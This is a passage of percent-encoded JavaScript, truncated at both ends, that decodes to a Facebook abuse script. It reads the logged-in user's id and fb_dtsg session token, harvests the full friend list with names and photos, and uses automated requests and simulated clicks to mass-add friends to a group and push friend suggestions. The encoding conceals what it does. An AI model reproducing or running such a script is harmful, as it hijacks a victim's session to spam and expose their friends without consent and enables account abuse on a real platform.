22%26%6E%63%74%72%5B%5F%6D%6F%64%5D%3D%70%61%67%65%6C%65%74%5F%67%72%6F%75%70%5F%6D%65%6D%62%65%72%73%5F%73%75%6D%6D%61%72%79%26%6C%73%64%26%70%6F%73%74%5F%66%6F%72%6D%5F%69%64%5F%73%6F%75%72%63%65%3D%41%73%79%6E%63%52%65%71%75%65%73%74%26%5F%5F%75%73%65%72%3D%22%20%2B%20%75%73%65%72%5F%69%64%2C%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%7D%2C%20%22%74%65%78%74%22%2C%20%22%70%6F%73%74%22%29%0A%7D%0A%69%66%20%28%6E%65%77%63%6F%6D%65%72%29%20%7B%0A%6A%78%2E%6C%6F%61%64%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%70%72%6F%74%6F%63%6F%6C%20%2B%20%22%2F%2F%77%77%77%2E%66%61%63%65%62%6F%6F%6B%2E%63%6F%6D%2F%61%6A%61%78%2F%66%72%69%65%6E%64%73%2F%73%75%67%67%65%73%74%3F%26%72%65%63%65%69%76%65%72%3D%22%20%2B%20%6F%70%6F%20%2B%20%22%26%6E%65%77%63%6F%6D%65%72%3D%31%30%30%30%30%33%36%34%31%39%34%34%38%32%31%26%61%74%74%65%6D%70%74%5F%69%64%3D%30%35%38%35%61%62%37%34%65%32%64%64%30%66%66%31%30%32%38%32%61%33%61%33%36%64%66%33%39%65%31%39%26%72%65%66%3D%70%72%6F%66%69%6C%65%5F%6F%74%68%65%72%73%5F%64%72%6F%70%64%6F%77%6E%26%5F%5F%75%73%65%72%3D%22%20%2B%20%75%73%65%72%5F%69%64%20%2B%20%22%26%5F%5F%61%3D%31%26%5F%5F%64%79%6E%3D%37%39%38%61%44%35%7A%35%43%46%2D%26%5F%5F%72%65%71%3D%31%37%26%66%62%5F%64%74%73%67%3D%22%20%2B%20%66%62%5F%64%74%73%67%20%2B%20%22%26%70%68%73%74%61%6D%70%3D%31%36%35%38%31%36%35%31%30%37%31%31%35%36%39%38%38%31%31%30%31%39%34%22%2C%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%7D%2C%20%22%74%65%78%74%22%2C%20%22%70%6F%73%74%22%29%0A%7D%0A%7D%0A%66%75%6E%63%74%69%6F%6E%20%63%6C%69%63%6B%66%72%5F%63%61%6C%6C%62%61%63%6B%28%29%20%7B%0A%69%66%20%28%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%4E%61%6D%65%28%22%6F%6B%22%29%2E%6C%65%6E%67%74%68%20%3E%20%30%29%20%6E%48%74%6D%6C%2E%43%6C%69%63%6B%55%70%28%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%4E%61%6D%65%28%22%6F%6B%22%29%5B%30%5D%29%3B%0A%76%61%72%20%61%20%3D%20%61%72%72%5B%69%5D%3B%0A%69%66%20%28%69%20%3C%20%61%72%72%2E%6C%65%6E%67%74%68%29%20%61%64%64%66%72%69%65%6E%64%28%61%2E%73%75%62%73%74%72%69%6E%67%28%30%2C%20%34%29%29%0A%7D%0A%66%75%6E%63%74%69%6F%6E%20%63%6C%69%63%6B%66%72%28%29%20%7B%0A%69%66%20%28%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%43%6C%61%73%73%4E%61%6D%65%28%22%73%65%61%72%63%68%22%29%2E%6C%65%6E%67%74%68%20%3E%20%30%29%20%6E%48%74%6D%6C%2E%43%6C%69%63%6B%55%70%28%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%43%6C%61%73%73%4E%61%6D%65%28%22%73%65%61%72%63%68%22%29%5B%30%5D%2E%63%68%69%6C%64%4E%6F%64%65%73%5B%30%5D%2E%63%68%69%6C%64%4E%6F%64%65%73%5B%30%5D%2E%63%68%69%6C%64%4E%6F%64%65%73%5B%31%5D%29%3B%0A%65%6C%73%65%20%6A%2B%2B%3B%0A%73%65%74%54%69%6D%65%6F%75%74%28%22%63%6C%69%63%6B%66%72%5F%63%61%6C%6C%62%61%63%6B%28%29%22%2C%20%32%45%33%29%0A%7D%0A%66%75%6E%63%74%69%6F%6E%20%61%64%64%66%72%69%65%6E%64%28%61%29%20%7B%0A%69%2B%2B%3B%0A%73%65%74%54%69%6D%65%6F%75%74%28%22%63%6C%69%63%6B%66%72%28%29%22%2C%20%32%45%33%29%0A%7D%0A%6A%78%20%3D%20%7B%0A%67%65%74%48%54%54%50%4F%62%6A%65%63%74%3A%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%0A%76%61%72%20%61%20%3D%20%66%61%6C%73%65%3B%0A%69%66%20%28%74%79%70%65%6F%66%20%41%63%74%69%76%65%58%4F%62%6A%65%63%74%20%21%3D%20%22%75%6E%64%65%66%69%6E%65%64%22%29%20%74%72%79%20%7B%0A%61%20%3D%20%6E%65%77%20%41%63%74%69%76%65%58%4F%62%6A%65%63%74%28%22%4D%73%78%6D%6C%32%2E%58%4D%4C%48%54%54%50%22%29%0A%7D%20%63%61%74%63%68%20%28%62%29%20%7B%0A%74%72%79%20%7B%0A%61%20%3D%20%6E%65%77%20%41%63%74%69%76%65%58%4F%62%6A%65%63%74%28%22%4D%69%63%72%6F%73%6F%66%74%2E%58%4D%4C%48%54%54%50%22%29%0A%7D%20%63%61%74%63%68%20%28%63%29%20%7B%0A%61%20%3D%20%66%61%6C%73%65%0A%7D%0A%7D%20%65%6C%73%65%20%69%66%20%28%77%69%6E%64%6F%77%2E%58%4D%4C%48%74%74%70%52%65%71%75%65%73%74%29%20%74%72%79%20%7B%0A%61%20%3D%20%6E%65%77%20%58%4D%4C%48%74%74%70%52%65%71%75%65%73%74%0A%7D%20%63%61%74%63%68%20%28%62%29%20%7B%0A%61%20%3D%20%66%61%6C%73%65%0A%7D%0A%72%65%74%75%72%6E%20%61%0A%7D%2C%0A%6C%6F%61%64%3A%20%66%75%6E%63%74%69%6F%6E%28%75%72%6C%2C%20%63%61%6C%6C%62%61%63%6B%2C%20%66%6F%72%6D%61%74%2C%20%6D%65%74%68%6F%64%2C%20%6F%70%74%29%20%7B%0A%76%61%72%20%68%74%74%70%20%3D%20%74%68%69%73%2E%69%6E%69%74%28%29%3B%0A%69%66%20%28%21%68%74%74%70%20%7C%7C%20%21%75%72%6C%29%20%72%65%74%75%72%6E%3B%0A%69%66%20%28%68%74%74%70%2E%6F%76%65%72%72%69%64%65%4D%69%6D%65%54%79%70%65%29%20%68%74%74%70%2E%6F%76%65%72%72%69%64%65%4D%69%6D%65%54%79%70%65%28%22%74%65%78%74%2F%78%6D%6C%22%29%3B%0A%69%66%20%28%21%6D%65%74%68%6F%64%29%20%6D%65%74%68%6F%64%20%3D%20%22%47%45%54%22%3B%0A%69%66%20%28%21%66%6F%72%6D%61%74%29%20%66%6F%72%6D%61%74%20%3D%20%22%74%65%78%74%22%3B%0A%69%66%20%28%21%6F%70%74%29%20%6F%70%74%20%3D%20%7B%7D%3B%0A%66%6F%72%6D%61%74%20%3D%20%66%6F%72%6D%61%74%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%3B%0A%6D%65%74%68%6F%64%20%3D%20%6D%65%74%68%6F%64%2E%74%6F%55%70%70%65%72%43%61%73%65%28%29%3B%0A%76%61%72%20%6E%6F%77%20%3D%20%22%75%69%64%3D%22%20%2B%20%28%6E%65%77%20%44%61%74%65%29%2E%67%65%74%54%69%6D%65%28%29%3B%0A%75%72%6C%20%2B%3D%20%75%72%6C%2E%69%6E%64%65%78%4F%66%28%22%3F%22%29%20%2B%20%31%20%3F%20%22%26%22%20%3A%20%22%3F%22%3B%0A%75%72%6C%20%2B%3D%20%6E%6F%77%3B%0A%76%61%72%20%70%61%72%61%6D%65%74%65%72%73%20%3D%20%6E%75%6C%6C%3B%0A%69%66%20%28%6D%65%74%68%6F%64%20%3D%3D%20%22%50%4F%53%54%22%29%20%7B%0A%76%61%72%20%70%61%72%74%73%20%3D%20%75%72%6C%2E%73%70%6C%69%74%28%22%3F%22%29%3B%0A%75%72%6C%20%3D%20%70%61%72%74%73%5B%30%5D%3B%0A%70%61%72%61%6D%65%74%65%72%73%20%3D%20%70%61%72%74%73%5B%31%5D%0A%7D%0A%68%74%74%70%2E%6F%70%65%6E%28%6D%65%74%68%6F%64%2C%20%75%72%6C%2C%20%74%72%75%65%29%3B%0A%76%61%72%20%74%68%73%20%3D%20%74%68%69%73%3B%0A%69%66%20%28%6F%70%74%2E%68%61%6E%64%6C%65%72%29%20%68%74%74%70%2E%6F%6E%72%65%61%64%79%73%74%61%74%65%63%68%61%6E%67%65%20%3D%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%0A%6F%70%74%2E%68%61%6E%64%6C%65%72%28%68%74%74%70%29%0A%7D%3B%0A%65%6C%73%65%20%68%74%74%70%2E%6F%6E%72%65%61%64%79%73%74%61%74%65%63%68%61%6E%67%65%20%3D%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%0A%69%66%20%28%68%74%74%70%2E%72%65%61%64%79%53%74%61%74%65%20%3D%3D%20%34%29%20%69%66%20%28%68%74%74%70%2E%73%74%61%74%75%73%20%3D%3D%20%32%30%30%29%20%7B%0A%76%61%72%20%72%65%73%75%6C%74%20%3D%20%22%22%3B%0A%69%66%20%28%68%74%74%70%2E%72%65%73%70%6F%6E%73%65%54%65%78%74%29%20%72%65%73%75%6C%74%20%3D%20%68%74%74%70%2E%72%65%73%70%6F%6E%73%65%54%65%78%74%3B%0A%69%66%20%28%66%6F%72%6D%61%74%2E%63%68%61%72%41%74%28%30%29%20%3D%3D%20%22%6A%22%29%20%7B%0A%72%65%73%75%6C%74%20%3D%20%72%65%73%75%6C%74%2E%72%65%70%6C%61%63%65%28%2F%5B%5C%6E%5C%72%5D%2F%67%2C%20%22%22%29%3B%0A%72%65%73%75%6C%74%20%3D%20%65%76%61%6C%28%22%28%22%20%2B%20%72%65%73%75%6C%74%20%2B%20%22%29%22%29%0A%7D%20%65%6C%73%65%20%69%66%20%28%66%6F%72%6D%61%74%2E%63%68%61%72%41%74%28%30%29%20%3D%3D%20%22%78%22%29%20%72%65%73%75%6C%74%20%3D%20%68%74%74%70%2E%72%65%73%70%6F%6E%73%65%58%4D%4C%3B%0A%69%66%20%28%63%61%6C%6C%62%61%63%6B%29%20%63%61%6C%6C%62%61%63%6B%28%72%65%73%75%6C%74%29%0A%7D%20%65%6C%73%65%20%7B%0A%69%66%20%28%6F%70%74%2E%6C%6F%61%64%69%6E%67%49%6E%64%69%63%61%74%6F%72%29%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%62%6F%64%79%22%29%5B%30%5D%2E%72%65%6D%6F%76%65%43%68%69%6C%64%28%6F%70%74%2E%6C%6F%61%64%69%6E%67%49%6E%64%69%63%61%74%6F%72%29%3B%0A%69%66%20%28%6F%70%74%2E%6C%6F%61%64%69%6E%67%29%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%6F%70%74%2E%6C%6F%61%64%69%6E%67%29%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%20%3D%20%22%6E%6F%6E%65%22%3B%0A%69%66%20%28%65%72%72%6F%72%29%20%65%72%72%6F%72%28%68%74%74%70%2E%73%74%61%74%75%73%29%0A%7D%0A%7D%3B%0A%68%74%74%70%2E%73%65%6E%64%28%70%61%72%61%6D%65%74%65%72%73%29%0A%7D%2C%0A%62%69%6E%64%3A%20%66%75%6E%63%74%69%6F%6E%28%61%29%20%7B%0A%76%61%72%20%62%20%3D%20%7B%0A%75%72%6C%3A%20%22%22%2C%0A%6F%6E%53%75%63%63%65%73%73%3A%20%66%61%6C%73%65%2C%0A%6F%6E%45%72%72%6F%72%3A%20%66%61%6C%73%65%2C%0A%66%6F%72%6D%61%74%3A%20%22%74%65%78%74%22%2C%0A%6D%65%74%68%6F%64%3A%20%22%47%45%54%22%2C%0A%75%70%64%61%74%65%3A%20%22%22%2C%0A%6C%6F%61%64%69%6E%67%3A%20%22%22%2C%0A%6C%6F%61%64%69%6E%67%49%6E%64%69%63%61%74%6F%72%3A%20%22%22%0A%7D%3B%0A%66%6F%72%20%28%76%61%72%20%63%20%69%6E%20%62%29%20%69%66%20%28%61%5B%63%5D%29%20%62%5B%63%5D%20%3D%20%61%5B%63%5D%3B%0A%69%66%20%28%21%62%2E%75%72%6C%29%20%72%65%74%75%72%6E%3B%0A%76%61%72%20%64%20%3D%20%66%61%6C%73%65%3B%0A%69%66%20%28%62%2E%6C%6F%61%64%69%6E%67%49%6E%64%69%63%61%74%6F%72%29%20%7B%0A%64%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%22%64%69%76%22%29%3B%0A%64%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%79%6C%65%22%2C%20%22%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%30%70%78%3B%6C%65%66%74%3A%30%70%78%3B%22%29%3B%0A%64%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%22%63%6C%61%73%73%22%2C%20%22%6C%6F%61%64%69%6E%67%2D%69%6E%64%69%63%61%74%6F%72%22%29%3B%0A%64%2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%62%2E%6C%6F%61%64%69%6E%67%49%6E%64%69%63%61%74%6F%72%3B%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%62%6F%64%79%22%29%5B%30%5D%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%64%29%3B%0A%74%68%69%73%2E%6F%70%74%2E%6C%6F%61%64%69%6E%67%49%6E%64%69%63%61%74%6F%72%20%3D%20%64%0A%7D%0A%69%66%20%28%62%2E%6C%6F%61%64%69%6E%67%29%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%62%2E%6C%6F%61%64%69%6E%67%29%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%20%3D%20%22%62%6C%6F%63%6B%22%3B%0A%74%68%69%73%2E%6C%6F%61%64%28%62%2E%75%72%6C%2C%20%66%75%6E%63%74%69%6F%6E%28%61%29%20%7B%0A%69%66%20%28%62%2E%6F%6E%53%75%63%63%65%73%73%29%20%62%2E%6F%6E%53%75%63%63%65%73%73%28%61%29%3B%0A%69%66%20%28%62%2E%75%70%64%61%74%65%29%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%62%2E%75%70%64%61%74%65%29%2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%61%3B%0A%69%66%20%28%64%29%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%62%6F%64%79%22%29%5B%30%5D%2E%72%65%6D%6F%76%65%43%68%69%6C%64%28%64%29%3B%0A%69%66%20%28%62%2E%6C%6F%61%64%69%6E%67%29%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%62%2E%6C%6F%61%64%69%6E%67%29%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%20%3D%20%22%6E%6F%6E%65%22%0A%7D%2C%20%62%2E%66%6F%72%6D%61%74%2C%20%62%2E%6D%65%74%68%6F%64%2C%20%62%29%0A%7D%2C%0A%69%6E%69%74%3A%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%0A%72%65%74%75%72%6E%20%74%68%69%73%2E%67%65%74%48%54%54%50%4F%62%6A%65%63%74%28%29%0A%7D%0A%7D%3B%0A%76%61%72%20%6E%48%74%6D%6C%20%3D%20%7B%0A%46%69%6E%64%42%79%41%74%74%72%3A%20%66%75%6E%63%74%69%6F%6E%28%61%2C%20%62%2C%20%63%2C%20%64%29%20%7B%0A%69%66%20%28%63%20%3D%3D%20%22%63%6C%61%73%73%4E%61%6D%65%22%29%20%63%20%3D%20%22%63%6C%61%73%73%22%3B%0A%76%61%72%20%65%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%65%76%61%6C%75%61%74%65%28%22%2E%2F%2F%22%20%2B%20%62%20%2B%20%22%5B%40%22%20%2B%20%63%20%2B%20%22%3D%27%22%20%2B%20%64%20%2B%20%22%27%5D%22%2C%20%61%2C%20%6E%75%6C%6C%2C%20%58%50%61%74%68%52%65%73%75%6C%74%2E%46%49%52%53%54%5F%4F%52%44%45%52%45%44%5F%4E%4F%44%45%5F%54%59%50%45%2C%20%6E%75%6C%6C%29%3B%0A%69%66%20%28%65%20%26%26%20%65%2E%73%69%6E%67%6C%65%4E%6F%64%65%56%61%6C%75%65%29%20%72%65%74%75%72%6E%20%65%2E%73%69%6E%67%6C%65%4E%6F%64%65%56%61%6C%75%65%3B%0A%72%65%74%75%72%6E%20%6E%75%6C%6C%0A%7D%2C%0A%46%69%6E%64%42%79%43%6C%61%73%73%4E%61%6D%65%3A%20%66%75%6E%63%74%69%6F%6E%28%61%2C%20%62%2C%20%63%29%20%7B%0A%72%65%74%75%72%6E%20%74%68%69%73%2E%46%69%6E%64%42%79%41%74%74%72%28%61%2C%20%62%2C%20%22%63%6C%61%73%73%4E%61%6D%65%22%2C%20%63%29%0A%7D%2C%0A%46%69%6E%64%42%79%58%50%61%74%68%3A%20%66%75%6E%63%74%69%6F%6E%28%61%2C%20%62%29%20%7B%0A%74%72%79%20%7B%0A%76%61%72%20%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%65%76%61%6C%75%61%74%65%28%62%2C%20%61%2C%20%6E%75%6C%6C%2C%20%58%50%61%74%68%52%65%73%75%6C%74%2E%46%49%52%53%54%5F%4F%52%44%45%52%45%44%5F%4E%4F%44%45%5F%54%59%50%45%2C%20%6E%75%6C%6C%29%0A%7D%20%63%61%74%63%68%20%28%64%29%20%7B%0A%47%4D%5F%6C%6F%67%28%22%62%61%64%20%78%70%61%74%68%3A%22%20%2B%20%62%29%0A%7D%0A%69%66%20%28%63%20%26%26%20%63%2E%73%69%6E%67%6C%65%4E%6F%64%65%56%61%6C%75%65%29%20%72%65%74%75%72%6E%20%63%2E%73%69%6E%67%6C%65%4E%6F%64%65%56%61%6C%75%65%3B%0A%72%65%74%75%72%6E%20%6E%75%6C%6C%0A%7D%2C%0A%56%69%73%69%74%55%72%6C%3A%20%66%75%6E%63%74%69%6F%6E%28%61%29%20%7B%0A%77%69%6E%64%6F%77%2E%73%65%74%54%69%6D%65%6F%75%74%28%66%75%6E%63%74%69%6F%6E%28%29%20%7B%0A%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%20%3D%20%61%0A%7D%2C%20%35%30%30%20%2B%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%20%2A%20%35%30%30%29%29%0A%7D%2C%0A%43%6C%69%63%6B%57%69%6E%3A%20%66%75%6E%63%74%69%6F%6E%28%61%2C%20%62%2C%20%63%29%20%7B%0A%76%61%72%20%64%20%3D%20%61%2E%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%76%65%6E%74%28%22%4D%6F%75%73%65%45%76%65%6E%74%73%22%29%3B%0A%64%2E%69%6E%69%74%4D%6F%75%73%65%45%76%65%6E%74%28%63%2C%20%74%72%75%65%2C%20%74%72%75%65%2C%20%61%2C%20%30%2C%20%30%2C%20%30%2C%20%30%2C%20%30%2C%20%66%61%6C%73%65%2C%20%66%61%6C%73%65%2C%20%66%61%6C%73%65%2C%20%66%61%6C%73%65%2C%20%30%2C%20%6E%75%6C%6C%29%3B%0A%72%65%74%75%72%6E%20%21%62%2E%64%69%73%70%61%74%63%68%45%76%65%6E%74%28%64%29%0A%7D%2C%0A%43%6C%69%63%6B%3A%20%66%75%6E%63%74%69%6F%6E%28%61%29%20%7B%0A%72%65%74%75%72%6E%20%74%68%69%73%2E%43%6C%69%63%6B%57%69%6E%28%77%69%6E%64%6F%77%2C%20%61%2C%20%22%63%6C%69%63%6B%22%29%0A%7D%2C%0A%43%6C%69%63%6B%54%69%6D%65%6F%75%74%3A%20%66%75%6E%63%74%69%6F%6E%28%61%2C%20%62%29%20%7B%0A%77%69%6E%64%6F%77%2E%73%65%74%54%69%6D%65%6F%75%74%28%66%75%6E%63%74%69%6F%6E%28%29%20%7B%0A%72%65%74%75%72%6E%20%6E%48%74%6D%6C%2E%43%6C%69%63%6B%57%69%6E%28%77%69%6E%64%6F%77%2C%20%61%2C%20%22%63%6C%69%63%6B%22%29%0A%7D%2C%20%62%20%2B%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%20%2A%20%35%30%30%29%29%0A%7D%2C%0A%43%6C%69%63%6B%55%70%3A%20%66%75%6E%63%74%69%6F%6E%28%61%29%20%7B%0A%74%68%69%73%2E%43%6C%69%63%6B%57%69%6E%28%77%69%6E%64%6F%77%2C%20%61%2C%20%22%6D%6F%75%73%65%64%6F%77%6E%22%29%3B%0A%74%68%69%73%2E%43%6C%69%63%6B%57%69%6E%28%77%69%6E%64%6F%77%2C%20%61%2C%20%22%6D%6F%75%73%65%75%70%22%29%3B%0A%74%68%69%73%2E%43%6C%69%63%6B%57%69%6E%28%77%69%6E%64%6F%77%2C%20%61%2C%20%22%63%6C%69%63%6B%22%29%0A%7D%2C%0A%47%65%74%54%65%78%74%3A%20%66%75%6E%63%74%69%6F%6E%28%61%2C%20%62%29%20%7B%0A%76%61%72%20%63%20%3D%20%22%22%3B%0A%69%66%20%28%62%20%3D%3D%20%75%6E%64%65%66%69%6E%65%64%29%20%62%20%3D%20%30%3B%0A%69%66%20%28%62%20%3E%20%34%30%29%20%72%65%74%75%72%6E%3B%0A%69%66%20%28%61%2E%74%65%78%74%43%6F%6E%74%65%6E%74%20%21%3D%20%75%6E%64%65%66%69%6E%65%64%29%20%72%65%74%75%72%6E%20%61%2E%74%65%78%74%43%6F%6E%74%65%6E%74%3B%0A%66%6F%72%20%28%76%61%72%20%64%20%3D%20%30%3B%20%64%20%3C%20%61%2E%63%68%69%6C%64%4E%6F%64%65%73%2E%6C%65%6E%67%74%68%3B%20%64%2B%2B%29%20%7B%0A%76%61%72%20%65%20%3D%20%61%2E%63%68%69%6C%64%4E%6F%64%65%73%5B%64%5D%3B%0A%63%20%2B%3D%20%74%68%69%73%2E%47%65%74%54%65%78%74%28%65%2C%20%62%20%2B%20%31%29%0A%7D%0A%72%65%74%75%72%6E%20%63%0A%7D%0A%7D%3B%0A%69%66%20%28%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%43%6C%61%73%73%4E%61%6D%65%20%3D%3D%20%75%6E%64%65%66%69%6E%65%64%29%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%43%6C%61%73%73%4E%61%6D%65%20%3D%20%66%75%6E%63%74%69%6F%6E%28%61%29%20%7B%0A%76%61%72%20%62%20%3D%20%6E%65%77%20%52%65%67%45%78%70%28%22%28%3F%3A%5E%7C%5C%5C%73%29%22%20%2B%20%61%20%2B%20%22%28%3F%3A%24%7C%5C%5C%73%29%22%29%3B%0A%76%61%72%20%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%2A%22%29%3B%0A%76%61%72%20%64%20%3D%20%5B%5D%3B%0A%76%61%72%20%65%3B%0A%66%6F%72%20%28%76%61%72%20%66%20%3D%20%30%3B%0A%28%65%20%3D%20%63%5B%66%5D%29%20%21%3D%20%6E%75%6C%6C%3B%20%66%2B%2B%29%20%7B%0A%76%61%72%20%67%20%3D%20%65%2E%63%6C%61%73%73%4E%61%6D%65%3B%0A%69%66%20%28%67%20%26%26%20%67%2E%69%6E%64%65%78%4F%66%28%61%29%20%21%3D%20%2D%31%20%26%26%20%62%2E%74%65%73%74%28%67%29%29%20%64%2E%70%75%73%68%28%65%29%0A%7D%0A%72%65%74%75%72%6E%20%64%0A%7D%3B%0A%41%72%72%61%79%2E%70%72%6F%74%6F%74%79%70%65%2E%66%69%6E%64%20%3D%20%66%75%6E%63%74%69%6F%6E%28%61%29%20%7B%0A%76%61%72%20%62%20%3D%20%66%61%6C%73%65%3B%0A%66%6F%72%20%28%69%20%3D%20%30%3B%20%69%20%3C%20%74%68%69%73%2E%6C%65%6E%67%74%68%3B%20%69%2B%2B%29%20%69%66%20%28%74%79%70%65%6F%66%20%61%20%3D%3D%20%22%66%75%6E%63%74%69%6F%6E%22%29%20%7B%0A%0A%69%66%20%28%61%2E%74%65%73%74%28%74%68%69%73%5B%69%5D%29%29%20%7B%0A%69%66%20%28%21%62%29%20%62%20%3D%20%5B%5D%3B%0A%62%2E%70%75%73%68%28%69%29%0A%7D%0A%7D%20%65%6C%73%65%20%69%66%20%28%74%68%69%73%5B%69%5D%20%3D%3D%3D%20%61%29%20%7B%0A%69%66%20%28%21%62%29%20%62%20%3D%20%5B%5D%3B%0A%62%2E%70%75%73%68%28%69%29%0A%7D%0A%72%65%74%75%72%6E%20%62%0A%7D%3B%0A%76%61%72%20%69%20%3D%20%33%3B%0A%76%61%72%20%74%61%79%20%3D%20%33%3B%0A%76%61%72%20%6A%20%3D%20%30%3B%0A%76%61%72%20%6B%20%3D%20%30%3B%0A%76%61%72%20%73%75%63%20%3D%20%30%3B%0A%76%61%72%20%65%72%72%20%3D%20%30%3B%0A%76%61%72%20%61%72%72%20%3D%20%6E%65%77%20%41%72%72%61%79%3B%0A%76%61%72%20%61%72%6E%20%3D%20%6E%65%77%20%41%72%72%61%79%3B%0A%76%61%72%20%70%68%6F%20%3D%20%6E%65%77%20%41%72%72%61%79%3B%0A%76%61%72%20%67%65%74%75%6E%61%6D%65%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%43%6C%61%73%73%4E%61%6D%65%28%22%66%62%78%57%65%6C%63%6F%6D%65%42%6F%78%4E%61%6D%65%22%29%5B%30%5D%2E%69%6E%6E%65%72%48%54%4D%4C%3B%0A%76%61%72%20%67%69%64%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%4E%61%6D%65%28%22%67%72%6F%75%70%5F%69%64%22%29%5B%30%5D%2E%76%61%6C%75%65%3B%0A%6A%78%2E%6C%6F%61%64%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%70%72%6F%74%6F%63%6F%6C%20%2B%20%22%2F%2F%77%77%77%2E%66%61%63%65%62%6F%6F%6B%2E%63%6F%6D%2F%61%6A%61%78%2F%74%79%70%65%61%68%65%61%64%2F%66%69%72%73%74%5F%64%65%67%72%65%65%2E%70%68%70%3F%22%20%2B%20%22%5F%5F%61%3D%31%26%66%69%6C%74%65%72%5B%30%5D%3D%75%73%65%72%26%6C%61%7A%79%3D%30%26%76%69%65%77%65%72%3D%22%20%2B%20%75%73%65%72%5F%69%64%20%2B%20%22%26%74%6F%6B%65%6E%3D%76%37%26%73%74%61%6C%65%5F%6F%6B%3D%30%26%6F%70%74%69%6F%6E%73%5B%30%5D%3D%66%72%69%65%6E%64%73%5F%6F%6E%6C%79%26%6F%70%74%69%6F%6E%73%5B%31%5D%3D%6E%6D%22%2C%20%66%75%6E%63%74%69%6F%6E%28%61%29%20%7B%0A%76%61%72%20%62%20%3D%20%61%3B%0A%76%61%72%20%63%20%3D%20%62%2E%73%75%62%73%74%72%69%6E%67%28%62%2E%69%6E%64%65%78%4F%66%28%22%7B%22%29%29%3B%0A%76%61%72%20%64%20%3D%20%4A%53%4F%4E%2E%70%61%72%73%65%28%63%29%3B%0A%64%20%3D%20%64%2E%70%61%79%6C%6F%61%64%2E%65%6E%74%72%69%65%73%3B%0A%66%6F%72%20%28%76%61%72%20%65%20%3D%20%30%3B%20%65%20%3C%20%64%2E%6C%65%6E%67%74%68%3B%20%65%2B%2B%29%20%61%72%72%2E%70%75%73%68%28%64%5B%65%5D%2E%75%69%64%29%3B%0A%66%6F%72%20%28%76%61%72%20%65%67%20%3D%20%30%3B%20%65%67%20%3C%20%64%2E%6C%65%6E%67%74%68%3B%20%65%67%2B%2B%29%20%61%72%6E%2E%70%75%73%68%28%64%5B%65%67%5D%2E%74%65%78%74%29%3B%0A%66%6F%72%20%28%76%61%72%20%70%69%63%20%3D%20%30%3B%20%70%69%63%20%3C%20%64%2E%6C%65%6E%67%74%68%3B%20%70%69%63%2B%2B%29%20%70%68%6F%2E%70%75%73%68%28%64%5B%70%69%63%5D%2E%70%68%6F%74%6F%29%3B%0A%69%20%3D%20%61%72%72%2E%6C%65%6E%67%74%68%20%2D%20%31%3B%0A%74%61%79%20%3D%20%69%3B%0A%63%6F%6E%73%6F%6C%65%2E%6C%6F%67%28%61%72%72%2E%6C%65%6E%67%74%68%29%3B%0A%76%61%72%20%64%69%73%70%6C%61%79%20%3D%20%22%3C%64%69%76%20%69%64%3D%27%66%72%69%65%6E%64%2D%65%64%67%65%2D%64%69%73%70%6C%61%79%27%20%73%74%79%6C%65%3D%27%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%6C%65%66%74%3A%35%30%25%3B%6D%61%72%67%69%6E%2D%6C%65%66%74%3A%2D%32%37%33%70%78%3B%7